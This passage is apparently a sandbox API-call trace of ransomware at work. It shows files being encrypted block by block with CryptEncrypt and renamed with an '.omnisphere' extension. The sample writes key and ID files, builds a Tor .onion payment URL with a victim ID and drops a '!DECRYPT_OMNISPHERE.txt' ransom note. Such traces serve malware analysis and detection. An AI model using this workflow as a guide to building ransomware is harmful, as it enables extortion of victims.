hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.957] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.958] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.959] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.960] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0164.960] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0164.961] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x5a0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.961] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0164.961] GetProcessHeap () returned 0x1600000 [0164.961] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x274) returned 0x17761f0 [0164.961] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key.omnisphere")) returned 1 [0164.962] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key.omnisphere.id" [0164.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0164.996] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0164.997] CloseHandle (hObject=0x3bc) returned 1 [0164.997] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0164.997] CloseHandle (hObject=0x380) returned 1 [0164.998] SetEndOfFile (hFile=0x39c) returned 1 [0164.998] FlushFileBuffers (hFile=0x39c) returned 1 [0165.121] CloseHandle (hObject=0x39c) returned 1 [0165.121] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0165.121] GetProcessHeap () returned 0x1600000 [0165.121] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1776470 [0165.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.121] GetProcessHeap () returned 0x1600000 [0165.121] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733b80 [0165.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733b80, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0165.121] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0165.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0165.121] GetProcessHeap () returned 0x1600000 [0165.121] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f6a0 [0165.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f6a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0165.122] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0165.122] GetProcessHeap () returned 0x1600000 [0165.122] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1774000 [0165.122] PathCombineW (in: pszDest=0x1774000, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0165.122] GetProcessHeap () returned 0x1600000 [0165.122] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1757a88 [0165.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.122] WriteFile (in: hFile=0x39c, lpBuffer=0x1757a88*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1757a88*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0165.122] CloseHandle (hObject=0x39c) returned 1 [0165.123] GetProcessHeap () returned 0x1600000 [0165.123] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1776470 | out: hHeap=0x1600000) returned 1 [0165.123] GetProcessHeap () returned 0x1600000 [0165.123] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0165.123] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0165.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.123] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0165.124] CloseHandle (hObject=0x39c) returned 1 [0165.124] GetProcessHeap () returned 0x1600000 [0165.125] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0165.125] GetProcessHeap () returned 0x1600000 [0165.125] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0165.125] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f460e0, ftCreationTime.dwHighDateTime=0x1d4c95f, ftLastAccessTime.dwLowDateTime=0xacd81ec0, ftLastAccessTime.dwHighDateTime=0x1d4ce74, ftLastWriteTime.dwLowDateTime=0xacd81ec0, ftLastWriteTime.dwHighDateTime=0x1d4ce74, nFileSizeHigh=0x0, nFileSizeLow=0x3a9c, dwReserved0=0x0, dwReserved1=0xf5, cFileName="vNeXlPyODL.gif", cAlternateFileName="VNEXLP~1.GIF")) returned 1 [0165.125] GetProcessHeap () returned 0x1600000 [0165.125] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5c) returned 0x1691f20 [0165.125] PathCombineW (in: pszDest=0x1691f20, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="vNeXlPyODL.gif" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\vNeXlPyODL.gif") returned="C:\\Users\\FD1HVy\\Desktop\\vNeXlPyODL.gif" [0165.125] StrStrW (lpFirst=".omnisphere", lpSrch=".gif") returned 0x0 [0165.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\vNeXlPyODL.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\vnexlpyodl.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.125] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=15004) returned 1 [0165.125] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x3578, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.125] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.126] GetTickCount () returned 0x1169003 [0165.127] GetTickCount () returned 0x1169003 [0165.127] GetTickCount () returned 0x1169003 [0165.127] GetTickCount () returned 0x1169003 [0165.127] GetTickCount () returned 0x1169003 